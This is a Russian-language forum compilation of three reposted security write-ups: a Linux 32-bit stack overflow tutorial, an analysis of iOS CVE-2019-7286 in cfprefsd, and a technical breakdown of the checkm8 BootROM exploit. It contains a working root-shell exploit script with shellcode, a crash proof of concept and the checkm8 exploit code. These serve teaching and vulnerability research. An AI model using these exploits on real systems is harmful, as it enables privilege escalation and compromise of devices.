И проведем ровно те же самые манипуляции, которые я описал выше, когда мы в первый раз рассчитывали расположение шелл-кода. В моем случае, чтобы снова «прыгнуть» на середину NOP-среза, расположенного перед шелл-кодом, мне потребовалось изменить адрес возврата на 0xbfffee2c.
Таким образом, у нас есть все для создания красивого скрипта для PWN рассматриваемой уязвимости.
Code:Copy to clipboard
#!/usr/bin/env python
## -*- coding: utf-8 -*-
## Использование: python exploit.py
import struct
from subprocess import call
def little_endian(num):
"""Упаковка адреса в формат little endian."""
return struct.pack('<I', num)
junk = 'A' * 35 # мусор из символов "A"
nop_sled = '\x90' * 32 # NOP-срез
ret_addr = little_endian(0xbfffee2c) # адрес возврата
## setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
shellcode = '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'
payload = nop_sled
payload += shellcode
payload += nop_sled
payload += junk
payload += ret_addr
try:
call(['./overflow', payload]) # выполнится в случае, если был импорт функции call (7-я строка)
except NameError:
print payload # выполнится в противном случае
По умолчанию эксплоит самостоятельно вызовет программу с необходимым аргументом, однако если нужно вручную передать вредонос, достаточно закомментировать седьмую строку скрипта, содержащую импорт call.
Code:Copy to clipboard
$ python exploit.py
Input: jFX111j
XRh//shh/binRSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
## id
uid=0(root) gid=1000(snovvcrash) groups=1000(snovvcrash),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
Вот здесь уже сыграло роль то, что ранее мы присвоили бинарнику бит SUID — шелл получен с привилегиями root без использования sudo при запуске программы.
Для написания подобного рода скриптов лучше пользоваться второй версией Python в силу особенностей работы с кодировками для строкового типа данных. К тому же на Python 2 написан самый популярный модуль, облегчающий эксплуатацию бинарных уязвимостей, — pwntools. К сожалению, pwntools не работает на дистрибутивах 32-битной архитектуры, поэтому оставим его использование до часа эксплуатации 64-битных бинарей.
Обход нового пролога функции main
Готовя эту статью, я заметил, что одним из
[часто](https://security.stackexchange.com/questions/110943/how-to-exploit-a-
stack-overflow-without-setting-mpreferred-stack-boundary-2)
[задаваемых](https://security.stackexchange.com/questions/147119/32bits-linux-
simple-stack-overflow-eip-never-overwritten)
[вопросов](https://security.stackexchange.com/questions/121242/unable-to-
overwrite-eip-register) от людей, которые проходят уроки по переполнению
буфера, является вопрос, связанный с
([относительно](https://stackoverflow.com/questions/11886429/understanding-
new-gcc-prologue)) новым прологом функции main компилятора GCC для Linux,
который пришел вместе с необходимостью выравнивать стек по 16-байтовой границе
(требуется для корректной работы сета инструкций
SSE2).
Так как ни одного доступного примера кода для переполнения в таких условиях я не нашел, в этом параграфе разберем особенности ассемблерного кода, который получается в том случае, когда при компиляции мы не меняем дефолтное выравнивание с помощью опции -mpreferred-stack-boundary, и разработаем для него эксплоит.
Теория
Если не использовать флаг -mpreferred-stack-boundary=2 (см. начало статьи), то
результат будет таким же, как при использовании -mpreferred-stack-boundary=4 —
стековый фрейм функции main будет выровнен на 16 байт.
Пересоберем программу и запросим листинг ассемблера.
Code:Copy to clipboard
$ gcc -g -Wall -Werror -O0 -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro -o overflow overflow.c
$ gdb -batch -ex 'file ./overflow' -ex 'disas main'
Spoiler: Дамп
Code:Copy to clipboard
Dump of assembler code for function main:
0x0804841b <+0>: lea ecx,[esp+0x4]
0x0804841f <+4>: and esp,0xfffffff0
0x08048422 <+7>: push DWORD PTR [ecx-0x4]
0x08048425 <+10>: push ebp
0x08048426 <+11>: mov ebp,esp
0x08048428 <+13>: push ecx
0x08048429 <+14>: sub esp,0x84
0x0804842f <+20>: mov eax,ecx
0x08048431 <+22>: mov eax,DWORD PTR [eax+0x4]
0x08048434 <+25>: add eax,0x4
0x08048437 <+28>: mov eax,DWORD PTR [eax]
0x08048439 <+30>: sub esp,0x8
0x0804843c <+33>: push eax
0x0804843d <+34>: lea eax,[ebp-0x88]
0x08048443 <+40>: push eax
0x08048444 <+41>: call 0x80482f0 <strcpy@plt>
0x08048449 <+46>: add esp,0x10
0x0804844c <+49>: sub esp,0x8
0x0804844f <+52>: lea eax,[ebp-0x88]
0x08048455 <+58>: push eax
0x08048456 <+59>: push 0x80484f0
0x0804845b <+64>: call 0x80482e0 <printf@plt>
0x08048460 <+69>: add esp,0x10
0x08048463 <+72>: mov eax,0x0
0x08048468 <+77>: mov ecx,DWORD PTR [ebp-0x4]
0x0804846b <+80>: leave
0x0804846c <+81>: lea esp,[ecx-0x4]
0x0804846f <+84>: ret
End of assembler dump.
Разберем его по частям. Во-первых, видим, что пролог по сравнению со старым вариантом вырос до семи строк.
Code:Copy to clipboard
0x0804841b <+0>: lea ecx,[esp+0x4] // бэкап оригинального значения ESP в ECX
0x0804841f <+4>: and esp,0xfffffff0 // выравнивание
0x08048422 <+7>: push DWORD PTR [ecx-0x4] // сохранение адреса возврата
0x08048425 <+10>: push ebp
0x08048426 <+11>: mov ebp,esp
0x08048428 <+13>: push ecx // сохранение оригинального значения ESP
0x08048429 <+14>: sub esp,0x84
Основное различие — в инструкции and esp,0xfffffff0, которая выравнивает вершину стека таким образом, чтобы она была кратна 16. Но если так грубо обойтись с ESP, то как же тогда вернуть его первоначальное значение в эпилоге?
Для этого оригинальное значение копируется в регистр ECX и сохраняется в стеке дважды:
Между прологом и эпилогом все осталось практически так же, как в первом случае — за исключением того, что теперь обращение к аргументам main осуществляется по смещению относительно регистра ECX.
Что касается эпилога, то здесь добавилась всего одна новая инструкция — восстановление оригинального значения регистра ESP для успешного возврата из функции инструкцией ret.
Code:Copy to clipboard
0x0804846b <+80>: leave // mov esp,ebp; pop ebp
0x0804846c <+81>: lea esp,[ecx-0x4] // восстановление оригинального значения ESP
0x0804846f <+84>: ret // eip = esp
К слову, такой пролог специфичен только для главной функции main. Если бы в нашей программе были еще функции, то груз ответственности за выравнивание их стековых фреймов лег бы на плечи вызывающей функции (то есть main), а у вызываемых функций были бы классические прологи и эпилоги.
Из-за дополнительного значения регистра ECX, которое должно быть куда-то
сохранено, рисунок, демонстрирующий устройство стека для функции main,
изменится.
![Размещение данных в стеке для функции main overflow.c с выравниванием по
16-байтной границе](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fstack-layout-main-
boundary-4.png&hash=3da7c18840d792640279bedc4d822135)
Размещение данных в стеке для функции main overflow.c с выравниванием по
16-байтной границе
Посмотрим, как эти изменения скажутся на эксплуатации.
Практика
Итак, что же произойдет, если я попытаюсь исследовать скомпилированную таким
образом программу той же методикой, которую я использовал в самом начале?
Сгенерирую уникальный паттерн длиной 200 символов для надежности и попробую отыскать расстояние до EIP.
![Поведение скомпилированной без -mpreferred-stack-boundary=2 программы при
подаче 200-байтного паттерна](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-boundary-4-ebp-esp-
eip.png&hash=9750350886a061640a704a9f25a732c8)
Поведение скомпилированной без -mpreferred-stack-boundary=2 программы при
подаче 200-байтного паттерна
Code:Copy to clipboard
gdb-peda$ pattern offset 0x41514141
1095844161 found at offset: 136
Так как мы уже разобрали ассемблерный код, все должно встать на свои места: отправив программе в качестве входных данных строку достаточной длины, мы перезаписали все жизненно важные значения в стеке.
Первое: перезапись ECX привела к тому, что в регистр ESP попало значение 0x6c41414c ('LAAl'), а это не что иное, как 0x6c414150 - 4, где 0x6c414150 — это последовательность PAAl, которая присутствует в сгенерированном паттерне, начиная со 133 позиции. За это отвечает инструкция lea esp,[ecx-0x4] из эпилога.
Code:Copy to clipboard
gdb-peda$ pattern offset 0x6c414150
1816215888 found at offset: 132
Второе: перезапись ESP привела к тому, что теперь EIP указывает на несуществующее значение, ведь ret попытался перейти по адресу 0x6c414150 (выделено синим). За это отвечает инструкция push DWORD PTR [ecx-0x4] из пролога, где ecx-0x4 = (esp+0x4)-0x4 = 0x6c414150.
Третье: перезапись EBP привела только к тому, что на его месте оказался мусор,
но смещение до его сохраненного значения рассчиталось верно.
Вот другой интересный для анализа случай: я передам паттерн длиной ровно в 132
байта — объем памяти, выделенной под буфер.
![Поведение программы, скомпилированной без -mpreferred-stack-boundary=2, при
подаче 132-байтного паттерна](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-
boundary-4-eip.png&hash=2d7a104938bef2ee2568ec42ff1980cd)
Поведение программы, скомпилированной без -mpreferred-stack-boundary=2, при
подаче 132-байтного паттерна
Кажется, что произошло чудо, ведь EIP успешно переполнился — и я даже могу посчитать смещение.
Code:Copy to clipboard
gdb-peda$ pattern offset 0x48414132
1212236082 found at offset: 60
Только вот оно равно 60. Как же могло произойти так, что адрес возврата оказался практически ровно на середине области памяти, выделенной под локальные переменные, да и вообще с чего бы случаться переполнению, если я передаю строку, длина которой равна размеру массива?
Здесь все не так очевидно, но все равно вполне объяснимо: когда я передаю паттерн длиной 132 байта, на самом деле я передаю не 132 байта, а 133, ведь добавляется вездесущий нуль- терминатор, или символ конца строки (ведь мы пишем на C). Поэтому 132 байта «официально» принял массив buf, а вот нулевой символ достался LSB-байту значения ECX, что понижает его на два разряда — то есть делит на 256. Следовательно, ESP (а значит, и EIP) впоследствии окажется «внутри» buf, так как его адрес значительно уменьшится.
Несмотря на это, таким способом можно было бы перезаписать EIP и даже выполнить шелл-код, но нам просто повезло с размером массива — и сработает это не всегда. Поэтому поищем более аккуратный путь для эксплуатации.
Все, что тебе нужно, — это «поймать» значение верхушки стекового фрейма перед его разрушением (то есть перед выполнением инструкции leave), чтобы иметь возможность восстановить корректное значение ESP до его выравнивания. Для этого я поставлю точку останова на адресе 0x0804846b (см. ассемблерный листинг) и запущу программу с диагностической строкой из мусорных символов длиной в 136 байт (136 = buf + ecx = 132 + 4).
Code:Copy to clipboard
gdb-peda$ b *0x0804846b
gdb-peda$ r `python -c 'print "A"*136'`
![Ловим значение ESP](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-boundary-4-get-
esp.png&hash=cf3bbcb04adca4e31a0f42c09f3d511e)
Ловим значение ESP
У меня есть нужное значение: ESP: 0xbfffedc0. Теперь я просто увеличу его на 4, эмулируя тем самым действия компилятора, и перезапишу EIP на «мертвый код» такой вредоносной строкой.
Code:Copy to clipboard
gdb-peda$ r `python -c 'print "\xd3\x4d\xc0\xd3"[::-1] + "A"*128 + "\xbf\xff\xed\xc4"[::-1]'`
![Proof-of-Concept перезаписи
EIP](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-boundary-4-poc-eip-
overwrite.png&hash=db36c2f0f274350237df67b45e95ba7c)
Proof-of-Concept перезаписи EIP
Мой пейлоад для данной ситуации принял вид адрес_возврата + мусор + ESP. Значение ESP было уменьшено ассемблерным кодом на 4, помещено в регистр ECX, откуда, в свою очередь, был восстановлен оригинальный стек, вершина которого указывала на начало «мусорной» строки — 0xd34dc0d3.
Таким образом, разметить шелл-код я должен по тому же адресу, который содержит сохраненное значение регистра ESP. Если учесть еще два 32-байтных NOP-среза, в которые я облачу полезную нагрузку, и тот факт, что «прыгнуть» я собираюсь ровно на середину первой NOP-последовательности (0xbfffedd4 = 0xbfffedc4 + 16), то в конечном виде эксплоит будет выглядеть так.
Code:Copy to clipboard
ret_addr = '\xbf\xff\xed\xd4'[::-1]
junk = 'A' * 31
nop_sled = '\x90' * 32
saved_esp = '\xbf\xff\xed\xc4'[::-1]
## setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
shellcode = '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'
payload = ret_addr + nop_sled + shellcode + nop_sled + junk + saved_esp
Или в виде однострочника.
Code:Copy to clipboard
gdb-peda$ r `python -c 'print "\xbf\xff\xed\xd4"[::-1] + "\x90"*32 + "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90"*32 + "A"*31 + "\xbf\xff\xed\xc4"[::-1]'`
![Окончательная эксплуатация, получение шелла и выполнение
id](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F09%2F239524%2Fgdb-peda-boundary-4-dash-
id.png&hash=ca2e0e2f1a80a9e4fe890a01b0c686b3)
Окончательная эксплуатация, получение шелла и выполнение id
Победа! Игра окончена.
Автор: snovvcrash
https://snovvcrash.github.io
взято с хакер.ру
iOS 12.1.4 - это последняя версия iOS, выпущенная 8 февраля 2019 года. В этой версии были исправлены четыре ранее обнаруженные уязвимости. Согласно твиту Бена Хоукса из Project Zero, по крайней мере две из них были использованы в виде атаке нулевого дня (zero day). "Здесь, в исследовательской группе ZecOps, мы стремились проанализировать и раскрыть больше деталей об этих ныне исправленных уязвимостях."
Если вы заинтересованы в проведении аналогичных исследований в рамках нашей
программы Reverse Bounty - вы можете зарегистрироваться
здесь .
TL; DR:
Анализ CVE-2019-7286
Согласно описанию Apple :
Доступно для: iPhone 5s и более поздних версий, iPad Air и более поздних
версий и iPod touch 6-го поколения.
Воздействие. Приложение может получить повышенные привилегии.
Описание. Устранена проблема с повреждением памяти благодаря улучшенной
проверке входных данных.
CVE-2019-7286: анонимный исследователь, Клемент Лежин из Группы анализа угроз
Google, Ян Беер из Google Project Zero и Самуэль Грос из Google Project Zero
За исключением того факта, что уязвимость была исправлена в платформе Apple
Foundation, описание не дает нам много подробностей относительно характера
уязвимости.
После анализа патча в платформе Foundation бинарный анализ не выявил
существенных изменений в двоичных файлах iOS 12.1.4 по сравнению с iOS 12.1.3.
Следующим непосредственным подозреваемым был CoreFoundation, который показал
ряд двоичных различий в инструменте Diaphora, как показано ниже:
![](/proxy.php?image=https%3A%2F%2Fblog.zecops.com%2Fwp- content%2Fuploads%2F2019%2F03%2Fword- image.png&hash=980c04f87181d9f8a9c6b1c93e98f563)
Сравнивая исправления, мы обнаружили несколько незначительных изменений в
реализации CFPrefs (cfprefsd).
Строка man не слишком наглядна:
cfprefsd предоставляет сервисы настроек для
API CFPreferences и NSUserDefaults.
Для cfprefsd нет опций ручных конфигурацииClick to expand...
Опция CFPreferences используется почти каждым программным обеспечением на iOS / OS X при запуске, поэтому уязвимость в этом Daemon также может быть полезна для поддержания устойчивости. Удивительно, но пока нет общедоступной информации об этом CVE, что можно было бы ожидать от уязвимости, которая активно использовалась.
Анализ исправления уязвимости.
Та же самая ошибка также присутствовала в OS X, которая помогла исследованию и анализу ZecOps. Во время исправления в cfprefsd было внесено несколько незначительных изменений, но, похоже, наиболее важные изменения были внесены в следующую функцию:
[CFPrefsDaemon handleMultiMessage: replyHandler:]
Click to expand...
Ниже приведен фрагмент попытки ZecOps восстановить исходный код Obj-C вместе с патчем:
Code:Copy to clipboard
@implementation CFPrefsDaemon
-(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
{
// ...
CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
// ...
xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
//...
for( counter = 0; xpc_array_count != counter; counter++)
{
xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
}
for( counter = 0; xpc_array_count != loop_counter ; counter++)
{
xpc_element = xpc_buffer[counter];
xpc_buffer[counter] = 0; //patch fix
if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
{
[self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
if (xpc_element) // patch fix
{
xpc_object_t result = xpc_retain(xpc_element);
xpc_buffer[counter] = result;
}
}];
}
if ( !xpc_buffer[counter] ) //patch fix
xpc_buffer[counter] = xpc_null_create(); //patch fix
}
//...
array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
xpc_release(array_from_xpc_buffer);
for( counter = 0; xpc_array_count != counter ; counter++)
{
current_element = xpc_buffer[counter];
if (xpc_get_type(current_element) != &_xpc_type_null )
xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
}
// ...
}
Детали уязвимости
handleMultiMessage: replyHandler : имеет проблему подсчета ссылок с
использованием массива « CFPreferencesMessages », который является частью
запроса xpc.
Функция считывает объекты массива в буфер памяти один за другим, используя
xpc_array_get_value , что не влияет на подсчет ссылок. Последняя часть
функции, которая освобождает все элементы в буфере, предполагает владение
объектами xpc . Обычно это так, поскольку блок обратного вызова вызывает
xpc_retain и заменяет исходные объекты в xpc_buffer . Однако, если
обратный вызов не вызывается в результате специально созданного сообщения
(тело сообщения содержит индекс обработчика для сообщения. Не все обработчики
вызывают обратный вызов), произойдет двойное освобождение элемента.
XPC со следующими ключами и значениями вызовет уязвимость:
Code:Copy to clipboard
poc_dict = {
"CFPreferencesOperation" = 5,
"CFPreferencesMessages" = [
{
"CFPreferencesOperation": 4
}
]
}
Патч Apple заменил оригинальный XPC на xpc_null, если обратный вызов не обновил xpc_buffer [count]. В результате нет условия двойного освобождения, когда xpc_null не имеет памят, для освобождения.
Воспроизведение уязвимости
Мы можем воспроизвести CVE-2019-7286, используя приведенный ниже фрагмент кода POC:
Code:Copy to clipboard
#include ;
int main(int argc, const char * argv[]) {
xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
printf("got message: %sn", xpc_copy_description(t));
});
xpc_connection_resume(conn);
xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
xpc_object_t arr = xpc_array_create(NULL, 0);
xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);
xpc_array_append_value(arr, arr_elem1);
xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
xpc_connection_send_message(conn, hello);
xpc_release(hello);
return 0;
}
Запуск вышеуказанной программы на iOS 12.0.1 привел к сбою cfprefsd:
Code:Copy to clipboard
[TABLE]
[TR]
[TD]Thread 6 name: Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0 libobjc.A.dylib 0x21acd6b00 objc_object::release+ 16
1 libxpc.dylib 0x21b73bbc0 _xpc_array_dispose + 40
2 libxpc.dylib 0x21b73a584 _xpc_dispose + 156
3 libxpc.dylib 0x21b7449fc _xpc_dictionary_dispose + 204
4 libxpc.dylib 0x21b73a584 _xpc_dispose + 156
5 libxpc.dylib 0x21b742418 _xpc_connection_mach_event + 872
6 libdispatch.dylib 0x21b528544 _dispatch_client_callout4 + 16
7 libdispatch.dylib 0x21b4df068 _dispatch_mach_msg_invoke + 340
8 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284
9 libdispatch.dylib 0x21b4dfc3c _dispatch_mach_invoke + 476
10 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284
11 libdispatch.dylib 0x21b4d0760 _dispatch_lane_invoke + 432
12 libdispatch.dylib 0x21b4d8f00 _dispatch_workloop_worker_thread + 600
13 libsystem_pthread.dylib 0x21b70a0f0 _pthread_wqthread + 312
14 libsystem_pthread.dylib 0x21b70cd00 start_wqthread + 4 [/TD]
[/TR]
[/TABLE]
Рекомендации
Если вам нравится проводить аналогичные анализы/исследования, мы принимаем больше исследователей и аналитиков в нашу программу Reverse Bounty .
Спасибо за прочтение этого небольшого переводика и хорошего дня
Оригинальня статья: <https://blog.zecops.com/vulnerabilities/analysis-and-
reproduction-of-cve-2019-7286/>
Отдельное спасибо tabac
neopaket
С большой вероятностью вы уже слышали про нашумевший эксплойт checkm8, использующий неисправимую уязвимость в BootROM большинства iDevice-ов, включая iPhone X. В этой статье мы приведем технический анализ эксплойта и разберемся в причинах уязвимости. Всем заинтересовавшимся — добро пожаловать под кат!
Введение
Для начала коротко опишем процесс загрузки iDevice и выясним, какое место в нем занимает BootROM (также его могут называть SecureROM) и для чего он нужен. Довольно подробная информация об этом есть здесь. Упрощенно процесс загрузки можно изобразить следующим образом:
BootROM — первое, что исполняет процессор при включении устройства. Основные задачи BootROM:
У BootROM очень маленький размер, и его можно назвать урезанной версией iBoot, так как они разделяют большую часть системного и библиотечного кода. Однако, в отличие от iBoot, BootROM нельзя обновить. Он помещается во внутреннюю read- only память при изготовлении устройства. BootROM — это аппаратный корень доверия цепочки загрузки. Уязвимости в нем могут позволить получить контроль над дальнейшим процессом загрузки и исполнять неподписанный код на устройстве.
Появление checkm8
Эксплойт checkm8 был добавлен в утилиту ipwndfu ее автором axi0mX 27 сентября 2019. Тогда же он анонсировал обновление у себя в твиттере, сопроводив тред описанием эксплойта и дополнительной информацией. Из треда можно узнать, что use-after-free уязвимость в коде USB была найдена автором в процессе патч-диффинга iBoot для iOS 12 beta летом 2018 года. Как было замечено ранее, у BootROM и iBoot много общего кода, в том числе код для USB, из-за чего эта уязвимость актуальна и для BootROM.
Из кода эксплойта также следует, что уязвимость эксплуатируется в DFU. Это режим, в котором на устройство по USB можно передать подписанный образ, который впоследствии будет загружен. Это может потребоваться, например, для восстановления устройства при неудачном обновлении.
В тот же день пользователь littlelailo сообщил, что нашел эту уязвимость еще в марте и опубликовал ее описание в файле apollo.txt. Описание соответствовало тому, что происходит в коде checkm8, однако оно не до конца проясняет детали работы эксплойта. Поэтому мы и решили написать эту статью и описать все детали эксплуатации вплоть до исполнения полезной нагрузки в BootROM включительно.
Мы проводили анализ эксплойта, опираясь на упомянутые ранее материалы, а также на утекший в феврале 2018 года исходный код iBoot/SecureROM. Мы также использовали данные, полученные экспериментальным путем на нашем тестовом устройстве — iPhone 7 (CPID:8010). С помощью checkm8 мы сняли с него дампы SecureROM и SecureRAM, которые помогли нам при анализе.
Необходимые знания о USB
Обнаруженная уязвимость находится в коде USB, поэтому необходимы некоторые знания об этом интерфейсе. Полную спецификацию можно прочитать тут, но она довольно объемная. Отличным материалом, которого более чем достаточно для дальнейшего понимания, является USB in a NutShell. Здесь мы приведем лишь самое необходимое.
Существуют различные типы передачи данных по USB. В DFU используется только режим Control Transfers (про него можно прочитать по ссылке). Каждая транзакция в этом режиме состоит из трех стадий:
OUT — и IN-запросы представлены на схеме ниже. Мы намеренно убрали из описания и схемы взаимодействия ACK, NACK и другие пакеты хендшейка, так как они не играют особой роли в самом эксплойте.
Анализ apollo.txt
Мы начали анализ с разбора уязвимости из документа apollo.txt. В нем описывается алгоритм работы DFU-режима:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
- if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
- the interface code verifies that wLength is shorter than the input output buffer length and if that's the case it updates a pointer passed as an argument with a pointer to the input output buffer
- it then returns wLength which is the length it wants to recieve into the buffer
- the usb main code then updates a global var with the length and gets ready to recieve the data packages
- if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
- if all the data was recieved the dfu specific code is called again and that then goes on to copy the contents of the input output buffer to the memory location from where the image is later booted
- after that the usb code resets all variables and goes on to handel new packages
- if dfu exits the input output buffer is freed and if parsing of the image fails bootrom reenters dfu
Click to expand...
Сначала мы сопоставили описанные шаги с исходным кодом iBoot. Так как мы не можем использовать фрагменты утекшего исходного кода в статье, мы будем показывать псевдокод, полученный методом реверс-инжиниринга SecureROM нашего iPhone 7 в IDA. Вы же с легкостью можете найти исходный код iBoot и ориентироваться по нему.
При инициализации режима DFU выделяется IO-буфер и регистрируется USB- интерфейс для обработки запросов к DFU:
При поступлении SETUP-пакета запроса к DFU вызывается соответствующий
обработчик интерфейса. В случае успешного выполненияOUT-запроса (например, при
передаче образа) обработчик должен по указателю вернуть адрес IO-буфера для
транзакции и размер данных, которые ожидает получить. При этом адрес буфера и
размер ожидаемых данных сохраняются в глобальных переменных.
Обработчик интерфейса для DFU представлен на скриншоте ниже. Если запрос корректный, то по указателю возвращается адрес IO-буфера, аллоцированного на стадии инициализации DFU, и длина ожидаемых данных, которая берется из SETUP- пакета.
Во время Data Stage каждая порция данных записывается в IO-буфер, после чего адрес IO-буфера сдвигается и обновляется счетчик полученных данных. После получения всех ожидаемых данных вызывается обработчик данных интерфейса и очищается глобальное состояние передачи.
В обработчике данных DFU полученные данные перемещаются в область памяти, из которой в дальнейшем будет происходить загрузка. Судя по исходному коду iBoot, эту область памяти в Apple называют INSECURE_MEMORY.
При выходе из режима DFU выделенный ранее IO-буфер будет освобожден. Если в DFU-режиме образ был успешно получен, произойдут его проверка и загрузка. Если же во время работы DFU-режима произошла какая-то ошибка или загрузить полученный образ невозможно, произойдет повторная инициализация DFU, и всё начнется сначала.
В описанном алгоритме и кроется use-after-free уязвимость. Если при загрузке отправить SETUP-пакет и завершить транзакцию, пропустив Data Stage, глобальное состояние останется инициализированным при повторном входе в цикл DFU, и мы сможем писать по адресу IO-буфера, выделенного на предыдущей итерации DFU.
Разобравшись с уязвимостью use-after-free, мы задались вопросом: каким образом во время следующей итерации DFU можно перезаписать что-либо? Ведь перед повторной инициализацией DFU все выделенные ранее ресурсы освобождаются, и расположение памяти в новой итерации должно быть точно таким же. Оказывается, существует еще одна интересная и довольно красивая ошибка утечки памяти, позволяющая эксплуатировать уязвимость use-after-free, о которой мы расскажем далее.
Анализ checkm8
Перейдем непосредственно к анализу эксплойта checkm8. Для простоты разберем модифицированную версию эксплойта для iPhone 7, в которой был убран код, связанный с другими платформами, изменена последовательность и типы USB- запросов без потери работоспособности эксплойта. Также в данной версии убран процесс построения полезной нагрузки, с ним можно ознакомиться в оригинальном файле checkm8.py. Понять, в чем состоят отличия версий для других устройств, не должно составить труда.
Python:Copy to clipboard
#!/usr/bin/env python
from checkm8 import *
def main():
print '*** checkm8 exploit by axi0mX ***'
device = dfu.acquire_device(1800)
start = time.time()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
payload, _ = exploit_config(device.serial_number)
t8010_nop_gadget = 0x10000CC6C
callback_chain = 0x1800B0800
t8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
# heap feng-shui
stall(device)
leak(device)
for i in range(6):
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i+0x800], 50)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
if __name__ == '__main__':
main()
Работу checkm8 можно разделить на несколько стадий:
Рассмотрим каждую из стадий подробно.
1. Подготовка кучи (heap feng-shui)
Как нам кажется, это наиболее интересная стадия, и ей мы уделили особое внимание.
Code:Copy to clipboard
stall(device)
leak(device)
for i in range(6):
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
Этот этап необходим для достижения удобного состояния кучи для эксплуатации use-after-free. Для начала рассмотрим вызовы stall, leak, no_leak:
Code:Copy to clipboard
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer — это обертка над device.ctrlTransfer с игнорированием любых исключений, возникших при выполнении запроса. libusb1_async_ctrl_transfer — обертка над функцией libusb_submit_transfer из libusb для асинхронного выполнения запроса.
Оба вызова принимают следующие параметры:
Аргументы bmRequestType, bRequest, wValue и wIndex являются общими для всех трех видов запросов. Они означают:
При любом из этих трех запросов в куче выделяется 0x30 байт под объект следующей структуры:
Наиболее интересными полями данного объекта являются callback и next.
